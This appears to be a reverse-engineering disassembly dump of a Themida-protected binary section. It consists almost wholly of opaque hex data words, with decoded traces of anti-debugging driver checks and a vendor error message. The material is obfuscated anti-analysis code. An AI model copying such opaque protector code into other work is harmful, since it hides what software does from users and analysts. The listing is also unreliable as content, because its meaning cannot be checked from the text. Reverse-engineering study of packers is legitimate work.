7BBA6EEDh dd 0B5C7AB87h, 5C487D26h, 0BA4EA5CFh, 886CECF4h, 8396EB73h dd 0D9CD0ABDh, 7967795Dh, 92370BC2h, 0ADC9AD59h, 0A3607DF9h dd 9420091Fh, 7F617BF7h, 2009368Ch, 7552CE94h, 0E2C9B789h dd 94200960h, 0D8D3A884h, 94200974h, 0A441E093h, 397EB549h dd 1029h, 4402A300h, 0D96DCC7Ch, 0C841FD32h, 0BFh, 5E04D734h dd 0D6F36F23h, 19D07087h, 143034E0h, 5B24F3Ah, 0D85467FCh dd 548F3306h, 72AD61D8h, 0F52AE158h, 56482501h, 0BF914A69h dd 142512CCh, 9CAEAA9Eh, 1C2E691Dh, 25AF2E2Fh, 0DD028Bh dd 30D56436h, 0D88C0BF7h, 0E8A3BD99h, 9E10375Ah, 0D2895EBAh dd 0C035E11Ch, 0E1C8A239h, 9427804Ah, 6BEE005Ch, 63BE4B4h dd 728C6EEAh, 4800BB7h, 5A6FEB80h, 2FEC2AE1h, 8C352CEEh dd 0BAF7AC2Bh, 0E1866AC6h, 5E2D60E6h, 0D1E9FAAAh, 0E600000Bh dd 0CE4D0144h, 0EC6BDF16h, 0B940FC35h, 0D665D916h, 5137F332h dd 0E625C735h, 142E372h, 0DD18CE4Dh, 0FC31DA61h, 0B8734D40h dd 6BDF170Ah, 3227EDEAh, 0AF2A4479h, 0DEA0BDFEh, 0BC7040E7h dd 5987597Dh, 0CC7C10B2h, 6378F46Dh, 3ED5E6A3h, 0C78050F7h dd 20FAAE92h, 0CBB7F899h, 448D9267h, 0B4336B2Ah, 59508125h dd 923384E9h, 4135110Dh, 83C266E5h, 550266h, 0D7480000h dd 71255C04h, 6E85D8F5h, 0B98936Dh, 0AB67FC1Dh, 0C24B99A6h dd 98504D71h, 95B1B561h, 1DC6C5B1h, 3EE574E8h, 0BE64F709h dd 0C2249E8Dh, 64C09423h, 0EF9A9480h, 9423C253h, 0BE9BB7B3h dd 0F7E4F3C0h, 63D2FBE5h, 1324F4C2h, 9B682338h, 7B9E1391h dd 0D79D2B9Fh, 75216004h, 8A76AF56h, 26ADCAA6h, 0D493477Eh dd 6DCC7C77h, 73E722C8h, 0FAD4070Eh, 0FBD1460Fh, 4A240067h dd 0C502A534h, 0BB7855D1h, 7B11CD06h, 0EB221BF6h, 1F5FB30h dd 36050000h, 0A983588Dh, 8F1DC25Ch, 7C6BD4D7h, 0B5A16DCCh dd 2A9D7E7h, 6DCC7C40h, 2DFABFA4h, 0BE14A261h, 0CDB3C5A2h dd 0DC37E9A0h, 3D39ED24h, 0A8BCBC10h, 771AF9D3h, 1696D7AFh dd 0E7443D21h, 19A24318h, 4D700C6h, 0E09E195Fh, 8F30D5C1h dd 5BFD96B3h, 4085372h, 0A3B857A4h, 2A9D709h, 6DCC7C40h dd 38EC2BDDh, 13E8443Ch, 37DA6672h, 4A260AF6h, 2A9D77Ch dd 6DCC7C40h, 24B3C8A4h, 222BF694h, 4E0B366Bh, 81000000h dd 4002A9D7h, 0A46DCC7Ch, 0C952B3C8h, 0D0754416h, 0D7EAC297h dd 3F7E32A9h, 451EC653h, 0DB418935h, 9C29E2F7h, 586DCC27h dd 3BF31C73h, 27DE69E3h, 5F5D2EEh, 0F5D7A329h, 0C94D96D7h dd 0F4F47406h, 6CA55CD7h, 408A42DEh, 86h, 1CC35C8Ch, 2A9D78Eh dd 6DCC7C40h, 7C3B8782h, 7FDB6DCCh, 1A4FF88Fh, 11E60A66h dd 0A44A11EFh, 0A4B9BD69h, 0CC7C5EE7h, 0CC9ED66Dh, 7C4BF7B2h dd 0A2896DCCh, 6DCC7C20h, 0BCB868C4h, 7C5BE7A2h, 5FBB6DCCh dd 0A9D7C28Ah, 2DA196D7h, 9696CEBAh, 0CCCB53EFh, 661CB36Dh dd 0D7FB772Bh, 0A9D72A02h, 0CC7C4002h, 0B3C8A46Dh, 36488128h dd 7CE16148h, 29056DCCh, 96D77854h, 0D8F0BB67h, 0FC6784CBh dd 518E41F8h, 2BF6B07Ch, 0B366B22h, 41h, 1BC05C81h, 6104D78Dh dd 0DBF07420h, 7CB90605h, 0D9556DCCh, 51903407h, 96D7B07Ch dd 5956B5FDh, 0BDE502E0h, 78515A7Fh, 0F40AEE0Bh, 6F89E8F7h dd 82575109h, 437A32AAh, 408A4275h, 3Ah, 1BC05C8Ch, 6BD4D78Dh dd 0A16DCC7Ch, 3DB29BB5h, 1D031E31h, 73EE665h, 0F5D75AF2h dd 653A7A32h, 592CF65Ah, 4292183Ch, 0D969203Eh, 86DCC7Ch dd 0C6F20C6Dh, 72EE9EE0h, 1140CF55h, 40FFFFFEh, 0ABE89B1Eh dd 368C7BF7h, 0CE6DCC7Ch, 5CAF7552h, 9BAB15BDh, 499B13B4h dd 9A58532Dh, 3A67FB0Eh, 0CF20CDEh, 21FAA51Dh, 0DC4194h dd 0C1E85BF3h, 0CC876480h, 8141E813h, 43942167h, 2167FA48h dd 4E3E1A94h, 73B053D2h, 7386DB4Fh, 7A01E55Fh, 0A849607Ch dd 9BB7BB67h, 0BBA5B7h, 52390E4Bh, 9421C5F0h, 0DB672214h dd 3B9421C5h, 0DBCDFADFh, 6DC9FB8Eh, 6ACE9D89h, 99942176h dd 63AE4BEAh, 43397E20h, 10h, 7C440289h, 32D96DCCh, 0EBC841FDh dd 34000000h, 7CC996D7h, 0F9306F92h, 607281E4h, 79CEDC89h dd 8C36F549h, 686DCCEDh, 1316E80Ch, 6DCCEDAFh, 0F507EB47h dd 8C36F50Bh, 686DCCEDh, 2734EF0Ch, 0BF67FC81h, 1CD28963h dd 0C8936DE1h, 0D301E623h, 4AF7844Ch, 1FC3906Dh, 9B4F0AE4h dd 269B8B60h, 4C324C8Fh, 6205D78Dh, 0D1554125h, 11D30FFCh dd 0F7739E0Bh, 0D8D5E8E5h, 0CC8FFD8Ah, 4D29DD14h, 0AD2C5429h dd 300ABEF9h, 0ADCA05A9h, 51458026h, 74865564h, 266B26B5h dd 48AD9E94h, 0F76213E2h, 411DDDFAh, 0E85A512Fh, 0C800653h dd 96253B10h, 2C6B1DEDh, 0D4C0F7ADh, 41B87450h, 0EFE8558Ah dd 0CF5E2FE1h, 792CED7h, 7A70000h, 0DB9108C4h, 0FCB128A4h dd 0DB9007C3h, 0F9AB2A9Eh, 0FC08FEBAh, 1F9BDA8Eh, 0F8B4F598h dd 1692CD81h, 0F7B3E89Fh, 0C1812814h, 256BDF13h, 7932FCC8h dd 5BDE5044h, 0AE5D6FA4h, 6DCC7C14h, 0DC5774F0h, 4502EE23h dd 803B9F36h, 164FF6C8h, 36EA066Ah, 35790D3Ah, 0E5197BE2h dd 5F944B08h, 94DD30EBh, 3CBD336Ah, 0F000000h, 4C1EBD5Ch dd 0E55D4C32h, 16DCC7Ch, 0C65B4825h, 0BE67FC1Fh, 46B30D8Dh dd 0E0FD756Bh, 0D8523E1Ah, 0CC598FF3h, 4825F03Fh, 237FE35Bh dd 0D2710294h, 7C32D617h, 3AB639h, 5C140000h, 5D4C1EBDh dd 67FC2A40h, 770E025Eh, 981F9BD0h, 956B1FEFh, 65C1B5F2h dd 0B5919581h, 7C7E6FC1h, 7C6FE328h, 6E85D8F5h, 30E419D2h dd 4B3E1034h, 9E13B75Eh, 0BA500C68h, 0A62DB415h, 0D86A213Fh dd 3C6DCC7Ch, 7C8939E0h, 0F16D6DCCh, 9310FBD5h, 3367FC20h dd 0F7ABE69Ch, 18AA617Bh, 0FC9423A0h, 0DA814420h, 55B91D97h dd 904F8392h, 9373C77Bh, 56973AF1h, 0D0AAC6AAh, 34762BAEh dd 0E92BBE30h, 86637F77h, 85D9C89Dh, 26DA565Eh, 0CFA13AD9h dd 4318590Ch, 82A66E1Dh, 25E5495h, 0A24316E8h, 18CF8C61h dd 6843EEDh, 4604095h, 6833FEAh, 7634095h, 738D6FEBh, 95060AB8h dd 596EEA40h, 47F429E2h, 9EBCB454h, 1D5B4C58h, 32000006h dd 0FA813D80h, 189F1B52h, 0F5843871h, 22991552h, 8D7B2F6Eh dd 22610371h, 3D7E2FA6h, 1954FA81h, 386D16A5h, 0F4B78984h dd 6BDF0D4Eh, 328349A6h, 39504479h, 82DF5B94h, 68966873h dd 7C2F9396h, 6BC76DCCh, 9FD34ECh, 8F53502Dh, 2767FBD2h dd 8940574Bh, 64FEEB50h, 0DEB64A09h, 5BBF5h, 0DB1ED000h dd 0F930D85Fh, 0D60FB645h, 0F330D362h, 0CD0CC037h, 7DEF1B11h dd 49D08CCBh, 64F367A8h, 50C783BEh, 3E66297h, 0DB012F9h dd 57546BDFh, 83BD5CCDh, 0ADBFA3E0h, 0FBD220FEh, 0B460BC67h dd 92377015h, 4A09646Fh, 6D821303h, 82000005h, 4AD18DD0h dd 68EF6BA2h, 45D488C1h, 72E965A2h, 0DDCB7FBEh, 529133A1h dd 6DAE5FD6h, 89C46AF1h, 689D46D5h, 407F9F4h, 6BDF0DBEh dd 0D7D35956h, 7C2F5C04h, 6DCC7CC6h, 721E421Eh, 7CB111F8h dd 0D9556DCCh, 767DE0FDh, 0FC628B65h, 0E827C981h, 8E46003h dd 0CC1E0DF3h, 5867FBEEh, 56C509D3h, 0C9ADEEBBh, 427F24B7h dd 0AB627925h, 9CB4C572h, 0D0C44A09h, 4F3C7h, 23660800h dd 417830A7h, 1E570E8Dh, 3B782BAAh, 1554F87Fh, 2557B399h dd 11884483h, 2CAB1F60h, 0F87F3B76h, 0AB9E1A4Fh, 0E68DAD1h dd 0F8C6BDFh, 44793285h, 5D923950h, 16AD16A9h, 0A723580Fh dd 4E427730h, 0CC7CBE07h, 861D646Dh, 0F7B3E89Fh, 0DE92C780h dd 0BA7040E7h, 0B38F937Fh, 0D00BAAF7h, 112E0BFEh, 23B667FCh dd 452F3C7Eh, 0DAA4862Ch, 4521E1F6h, 59BC0A51h, 0DC919423h dd 33D8EFA3h, 0BB1D0AF6h, 0AFE0A4E8h, 801FD284h, 99384B3Ch dd 7B67915Ch, 953A0139h, 0F02FE158h, 5F75DBh, 5CD70000h dd 5D4C1EBDh, 67FC7C74h, 0F5C49692h, 4601453h, 0D67037E7h dd 67943C7Ch, 299990C5h, 0CD943C7Ch, 9C817551h, 1B54F207h dd 0E48A4189h, 361A5B0Eh, 8939F04Ah, 6D943CC7h, 2EC55EF1h dd 23C2F1A2h, 7A7AEBC6h, 86855B39h, 943CD33Ch, 87825CD8h dd 943CD33Bh, 66A7FDBh, 0EBh, 44793244h, 58973950h, 41762DACh dd 588D3655h, 0DE25E4h, 68966DCCh, 338001C1h, 0D289E592h dd 510ADF1Eh, 758B659Ah, 33800CB6h, 6F8CE892h, 0A14615E7h dd 13CC8764h, 36BD32DEh, 5810CBA5h, 75344C21h, 9803F3B4h dd 0E75B4E30h, 0FF942395h, 0C100A423h, 0BE7AF6ACh, 77895261h dd 155D86B4h, 0E8025E9Eh, 6E80BF71h, 6FA39EBh, 12894D2Ah dd 0C082295Eh, 0EF9E114Ch, 0B30BE754h, 7DF9A96Ah, 7A91F459h dd 91D4038h, 367A0h, 87CA7C00h, 659C44D3h, 82BB72E9h, 5F9C4FC6h dd 79B86CEBh, 49BBC7C5h, 65F468A7h, 50C783C4h, 6CEB5F9Ah dd 0DFCA7EB3h, 0F942EDDh, 73706BDFh, 5B04D7A9h, 0E1F67A26h dd 0BA81B65Ah, 472BD716h, 0CC7CE260h, 0AF26026Dh, 2A9EC2F9h dd 0BBFF4ABh, 0C607AA31h, 0F90D4DDAh, 0C59BA346h, 5C00CCA1h dd 8D4C1EBDh, 255E03D9h, 0FCD15541h, 7C0C25E4h, 0E0A67FCh dd 9D510862h, 209E8562h, 0C3942383h, 0F9D411B0h, 0D9397B36h dd 0ACh, 44793233h, 0ED55542Ah, 96DCC7Ch, 0DC4E502Dh, 5C71A65Dh dd 2EE2DDFh, 0CC00AC53h, 93C87F6Dh, 0B2E7A017h, 0F9E2F1BEh dd 0F3E724E7h, 0C39F9803h, 0CA1BBA07h, 239563DFh, 30A78394h dd 0D1554178h, 0FB30DBF5h, 8B9E1558h, 0BDA3BD8Fh, 114874CEh dd 0B794909Eh, 550948FCh, 76E322C6h, 4038FA31h, 751C8D99h dd 8A000002h, 0B229A5E8h, 9007C3FAh, 0AD2CA0D9h, 7A01BDFAh dd 252397D6h, 0BAF9ABD9h, 95D677FEh, 0B1ECA219h, 90C57EFDh dd 5C4F311Ch, 6BDF08E6h, 0D71BA1FEh, 43071C96h, 0D289E2D3h dd 5209DE1Fh, 6CEB5F9Eh, 3CCA7EB3h, 50447932h, 0B90900DEh dd 966DCC7Ch, 66CAB6EFh, 7DC5C4B6h, 996DCC7Ch, 17A4B99Dh dd 3F213B70h, 0CC7CF64Ch, 0D4770E6Dh, 6B87EB97h, 5C7BC88Eh dd 25BE6D7Fh, 0C167FC1Fh, 5CEAB165h, 0BF9423A1h, 45886D04h dd 25397B4Dh, 2Ah, 1EBD5C67h, 20CC5D4Ch, 7EDA67FCh, 2B97926Ch dd 0CB9423A1h, 0DD8C7A4Fh, 9423A161h, 9550EF84h, 397B593Ch dd 431Ch, 45026E00h, 46DCC7Ch, 599A4BF5h, 31D8637Dh, 53280CF8h dd 8757E2Dh, 0EC6F67FCh, 280CF839h, 8F384F53h, 0A6CAA65Ah dd 48364832h, 2388E161h, 82290594h, 942388C0h, 88BB0702h dd 0FF5B9423h, 6E36130Fh, 4C1EBD5Ch, 7CCB7732h, 2F2B6DCCh dd 0E243461Ah, 1C67FC1Eh, 0B9055440h, 5C9423A2h, 0A46D8827h dd 14397B4Bh, 0B064A345h, 233197B4h, 9B000000h, 0CC7C4402h dd 0E7F4036Dh, 81D1615h, 0BDB967FCh, 7085AAA3h, 0E6206DD6h dd 0DF0CA05Ch, 81567006h, 0BD5C2FBDh, 7CC18128h, 0A55E6DCCh dd 0F0A08470h, 13AF5A74h, 0F36DCC7Ch, 8A815B77h, 67FBD228h dd 0DB5E70ECh, 0BC3BEF24h, 0CD22CE03h, 1A53FA46h, 7FBC6F66h dd 29BB7663h, 0A726C1A4h, 0DDFAB1CBh, 179E178Eh, 13784CD6h dd 21981DD0h, 0E440346Bh, 45171307h, 0FC46451Bh, 189E1535h dd 0CB743F1Ch, 0EC932296h, 0DFF6CBB7h, 8074AB61h, 0D0AEC0A4h dd 52276809h, 254C6459h, 41A68294h, 5E2C8EF6h, 0A1594A5Ah dd 0B6000000h, 0DE5DD114h, 0BC3BEF26h, 8910CC05h, 0A635A9E6h dd 2107C302h, 96D577E5h, 0B1F29322h, 8DC87EFDh, 6CA14AD1h dd 803FDF0h, 6BDF0ABAh, 5CB77D5Ah, 324C1EBDh, 0CC7CCB77h dd 4122F66Dh, 93EAC939h, 966A7FDBh, 0FBEFB693h, 20D45067h dd 11CD02A9h dd 0F8ACE18Ah, 8EDA2B1h, 8322812Ah, 0F8B4E9A2h, 0E195CA81h dd 1C0845EAh, 0D958F78Ah, 71AC6232h, 9C5A185h, 6309D992h dd 0D8FC782Ch, 1EBB2Ch, 0F6C50000h, 6B41164Fh, 4002A9D7h dd 0A46DCC7Ch, 1B55B3C8h, 5B12ECA0h, 0CEF26E22h, 0A3293E22h dd 493D8032h, 0B0649952h, 463A7519h, 0A95D9E4Fh, 533F7E32h dd 0A5519034h, 50448126h, 0A75B9439h, 55417830h, 0E08950CFh dd 405h, 4E88300h, 8B240487h, 3F682424h, 8900005Ah, 8956242Ch dd 4C681E6h, 81000000h, 4EEh, 24348700h, 240C895Ch, 661CBF57h dd 0E7D1152Ah, 8103EFC1h, 0DF68CBC7h, 31EF8141h, 81757B34h dd 648986C7h, 5FFD8934h, 240C8B54h, 6804C483h, 3CE8h, 0BA241489h dd 8, 2A89CA01h, 240C8B5Ah, 5E08950h, 4, 8704C083h, 0FF5C2404h dd 815D2434h, 4C4h, 8A2E900h, 0F228FFFDh, 3B09EEFDh, 0D810C084h dd 0B8C40807h, 6137742h, 0E0FFC503h, 1977D8BCh, 3ACA48A5h dd 72FA8E86h, 0FF62229h, 7F4DE4F0h, 7880D9D0h, 6E8h, 0DFBF8D00h dd 0B7ACE145h, 0C2815AD3h, 7588h, 0EE9h, 228E6100h, 75FCFA3h dd 0DCF15F69h, 0BEA23ED0h, 3640242Ch, 391BF681h, 85B53640h dd 0E95832FFh, 11h, 0B5AB483h, 9B208348h, 0AD092846h, 463877F4h dd 35F0817Fh, 810724C8h, 37C27AF0h, 3800F46h, 66000000h dd 0E881CF8Bh, 92D91F6h, 11E9h, 0A65F2800h, 0C8ED8D9Fh dd 0D5C55174h, 975B86E7h, 665074DDh, 28FFA8Bh, 68D0Fh dd 8E0F0000h, 0 dd 0F04EA83h, 148Eh, 0FE900h, 77040000h, 0A72ACF48h, 2A763F0Ch dd 0E02E8848h, 850F4E56h, 0FFFFFF80h, 4934EBF9h, 474D5346h dd 56202052h, 2020444Bh, 56202020h, 20204D4Dh, 56202020h dd 334E4957h, 56202032h, 444C4458h, 202052h, 2 dup(0) dd 0E9000000h, 7E6h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 0B2C35040h, 6060E33Dh, 0F2BACF8Ah, 615B0050h dd 0D885C7F5h, 61378h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 2976C355h dd 600BBD40h, 5E860h, 0AF750000h, 5E3A870Ch, 8E9h, 0F729B700h dd 6EDDE124h, 6CB9617Bh, 61673261h, 6AC68Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0D826DCC3h dd 0B8A0FCDh, 60000000h, 0CC49BE66h, 8FC88166h, 0B70F61B0h dd 18B0FD8h, 0F8000000h, 6A10E8C1h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0A93EC357h dd 0F1068BE9h, 8D0FC345h, 7, 1850Fh, 66F90000h, 0F808C8C1h dd 78DC8589h, 6A0613h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 0C61ABEC3h, 0F468678h, 188h, 0C166F500h dd 6A08CBh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 60BF2BC3h, 0C2B70F53h, 63BB665Bh, 0FB836167h dd 31850F40h, 0E9000000h, 0Bh, 60C5DAC1h, 0BB2858F4h, 8D5467DAh dd 1378B0BDh, 8B0F6006h, 3, 0FD0B70Fh, 48Bh, 0DABA6600h dd 0B3E961B6h, 0F9000001h, 0F0DFB83h, 3185h, 2860F00h dd 60000000h, 0B8BD8D61h, 0F061378h, 182h, 8FE9FC00h, 0F000001h dd 685h, 80FC6000h, 0E96157D8h, 6, 0C7748646h, 0FB83727Bh dd 0A7850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 0CE57C356h, 0A7EA2990h dd 67C8264Ch, 78B0Fh, 8F0F0000h, 1, 0C0BD8DF8h, 6A061378h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 2C12C350h, 383432EFh, 9E9h, 97312200h, 87A43C23h dd 13E924C2h, 0F0000000h, 7E7E4CDFh, 74E9B8h, 0BDBA0576h dd 14102CCDh, 0EBE99E53h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0CB95C350h dd 0ECF67B0Bh, 0FB83F845h, 60850F2Ah, 0F000000h, 0B8Ah dd 6E900h, 0B2410000h, 367B4BB4h, 78C8BD8Dh, 8C0F0613h dd 0Eh, 820F60h, 0F000000h, 8Ah, 8FE96100h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 1214C356h, 28957727h, 8E92B8Eh, 76000000h dd 0A3462486h, 83541493h, 850F27FBh, 38Eh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 19C35545h, 7E9C8h dd 50C60000h, 0C14E3789h, 11E932h, 0E5470000h, 0A55F7D87h dd 622F02C7h, 87048AA1h, 8D89C962h, 1378D0BDh, 0CE906h dd 9BBC0000h, 0F241562h, 2832BB00h, 0BD8910B5h, 61378E0h dd 9E9h, 2DAA3400h, 15F935E5h, 8C66AFE9h, 0CB8160C8h, 551A2137h dd 11E9h, 7F5700h, 0B105074Bh, 0F46A2D21h, 0AAF4FADAh dd 24617E6Dh, 51006A03h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 8C0F6A1Eh, 5, 94D68060h, 7E9F861h dd 0E8000000h, 5EC5C0BFh, 0C00AAC49h, 220850Fh, 850F0000h dd 10h, 0BE9h, 9B08E400h, 0A1459FEEh, 4647A7CBh, 7FA0B58Dh dd 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 49FC84C3h, 0F8D0C6C2h, 14E952h, 0A7160000h dd 84401AE8h, 9C4530B7h, 0FE6D2A5Dh, 44003263h, 0F60B5DCh dd 38Eh, 0D0BF0F00h, 858B61F8h, 613804Ch, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Ch, 0B3C35646h, 9E666597h dd 537C643h, 13E9h, 6A70A500h, 24355E59h, 4363C5AFh, 0BD71D075h dd 3552EA32h, 0C830F92h, 0E9000000h, 7, 0C2E2C11Eh, 50F3E0B1h dd 0EE9h, 0B6660D00h, 5D36C0BAh, 7B539F8Ch, 9241937Eh dd 18810Fh, 13E90000h, 74000000h, 7011E0DFh, 4AB55AA6h dd 5297EA39h, 0CB9E5EC0h, 10F709Ah, 60FE244Ch, 1850Fh dd 80F50000h, 606133EFh, 6830Fh, 8D0F0000h, 0 dd 6A5A61h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 99616AC3h, 58C6FA3Ch, 860F12BAh, 12h, 5E960h dd 823E0000h, 817B8F0Eh, 8648D0E1h, 9E96144h, 0E5000000h dd 0FDD74CE6h, 9EB293A1h, 0F24C283h, 0F89h, 0AE900h, 7AF10000h dd 57009B6Ah, 219A183h, 0FC728966h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 8C35242h, 168EEDA3h, 9DADE8D0h dd 10CEC1F8h, 7E9h, 0E1966300h, 2A8E795Fh, 2728966h, 0D890Fh dd 8E90000h, 0CD000000h, 9F6A0612h, 0CDB0B461h, 51006A04h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0C80E45EAh, 0BE9065Fh, 0B8000000h, 9C990151h, 6B259D51h dd 11E96D26h, 0CF000000h, 0FEBAACAEh, 0CD804892h, 0C065C51h dd 49C127CCh, 18C0Fh, 0E9F80000h, 99h, 9E9h, 56E6CF00h dd 0AD22A8A7h, 858B0A9Fh, 613804Ch, 0C810Fh, 880F0000h dd 6, 8C0Fh, 0B58D0000h, 6137FA0h, 6870Fh, 66600000h, 6114F0BFh dd 54E6858Dh, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 0E99CB8C3h, 8, 0B95B6032h, 571E30AAh dd 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 676EF1C3h, 0FE39028h, 782h, 18B0F00h, 0FC000000h dd 0D88589FCh, 60061378h, 6800Fh, 0EF810000h, 6F480333h dd 0DAEBFFBBh, 6A61617Ah, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0FBE6C350h, 858BF831h dd 61378D8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 24C35545h, 0F0421122h, 0B378C933h, 0A9E68060h dd 60F8C361h, 9E9h, 0C4518500h, 0E1152109h, 0BD83599Ch dd 613804Ch, 72850F00h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 9B63C350h dd 238AE67Bh, 85C79C41h, 613804Ch, 1013Fh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0FDC35242h, 30B62CEBh dd 786264CAh, 13820F62h, 0E9000000h, 0Eh, 910E2CA3h, 0BC936BA0h dd 750647E7h, 8E0F0F45h, 1, 17E9FCh, 12E90000h, 0D2000000h dd 1965609Ch, 480A62CEh, 537775E8h, 88F3C493h, 20CD13h dd 0B000000h, 8D3774C0h, 0BD8B0C70h, 61378E0h, 8B9h, 2275A600h dd 8BFA7549h, 9D8B3048h, 61378DCh, 7F34583Bh, 6BD38B15h dd 0CA0304D2h, 8589018Bh, 61378D8h, 8B04EBh, 8B61C5EBh dd 1378D885h, 0B760CF06h, 0DF816693h, 6A617788h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 3783C355h, 11E9h, 6DB19900h, 890B0153h, 0EEFDF228h dd 0C0843B09h, 0C08BD810h, 0FE8h, 0B3515A00h, 0DFD4D92Eh dd 0ED3C3A80h, 842DE3A1h, 0B966575Eh, 815B02D5h, 5B9CC6h dd 45BB6600h, 16C8BF61h, 81660000h, 0FFB429EBh, 5841B536h dd 81DF8B66h, 65F8BCE8h, 810AB623h, 0A0A845E8h, 0D98B665Fh dd 48A0E881h, 0D88B18C4h, 96BA0689h, 83603B90h, 0B70F04EEh dd 850F4FDAh, 14h, 58256BBAh, 17E90Dh, 5C4C0000h, 0B311F533h dd 5173716Eh, 0FFFFB2E9h, 15B111FFh, 9B94871h, 400E98Ch dd 0 dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0) dd offset loc_55FFFD+3 dd offset dword_445750+0A8B0h dd 0 dd 0D8E90000h, 6A000011h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 6F13C352h, 65B58922h dd 89061011h, 10228DBDh db 6 byte_5839F5 db 8Bh, 85h, 61h ; DATA XREF: Themida_:0054D5BCo dd 6A06102Eh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 4F7EC353h, 1810Fh, 89FC0000h dd 10348DBDh, 24443906h, 8E850F04h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 431C350h, 2DC31C24h, 0C43629E4h, 0E5BD83F9h, 61022h dd 5B840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 53C6D7C3h, 95958930h, 8D061023h dd 103A3285h, 0BE666006h, 0BD29343Bh, 610141Dh, 6AE0FF61h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 3B76C351h, 0D27832EBh, 0E5858B99h, 6A061020h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h dd 47000000h, 80CDC357h, 1840Fh, 0FCF90000h, 1C9DBD29h dd 44390610h, 850F0424h, 30h, 10E19589h, 8F0F0610h, 6 dd 19DD8D89h, 85C70610h, 6138557h, 1, 0FE9h, 5D36C000h dd 7B539F8Ch, 6C41937Eh, 0CA57412Ch, 0BE9F860h, 89000000h dd 1000E9BDh, 0F906h, 1B80000h, 87000000h, 1386CB85h, 75C00B06h dd 0E5B5FFF6h, 8F061023h, 13854F85h, 6A206A06h, 0B995FFFFh dd 83061006h, 102D79BDh, 8740006h, 95FF006Ah, 61031C9h dd 2969BD83h, 74010610h, 80680Dh, 0FF6A0000h, 6B995FFh dd 6A0610h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 12E7E1C3h, 830F9528h, 1, 0E18D01F9h, 6A061018h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 706DC357h, 9D2B6022h, 6101C45h, 1C02B61h dd 1031C18Dh, 24548B06h, 0E99D0928h, 8906101Eh, 10147585h dd 0ADB53106h, 0BE06100Fh, 3Ch, 21E5BD09h, 74030610h, 6A2424h dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 2F6977C3h, 893316C3h, 101CF9BDh, 6AAD6606h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 3BF3C350h, 15FA05B6h, 7218501h, 3FC0610h, 6A242444h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0EF1DC355h, 0B4B3B77Dh, 60F5600Ah, 0F1B589h dd 33BF0610h, 61182CD5h, 52505061h, 108E0Fh, 0BE90000h dd 0F2000000h, 0EA53200Bh, 1BA9B049h, 310F0C6Bh, 8E9h dd 42F14D00h, 0E9EE9D90h, 89585A12h, 8BF82404h, 95297840h dd 61029A5h, 8557BD83h, 0F000613h, 13185h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 90F90587h, 1E8F0Fh, 0E8600000h, 14h, 0E2E95E65h, 8DC6E95Ah dd 311E82AEh, 87FF5DBBh, 0F3D4DDB7h, 61C78B5Bh, 0F525050h dd 289h, 0F616000h, 60525031h, 60310F61h, 5A585A61h, 850F9058h dd 16h, 9E960h, 46290000h, 345BED1Eh, 0F184B23h, 81h, 448B6100h dd 6A2C24h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 892F25C3h, 102D0195h, 69B52906h, 90061004h dd 108C0Fh, 850F0000h, 0Ah, 5E9h, 0A9CDE800h, 6050855Eh dd 14E860h, 0E20E0000h, 9D1F4D19h, 56116E93h, 0D1F01068h dd 2004BDBBh, 665E5B12h, 6162FFB8h, 0AE9h, 55157D00h, 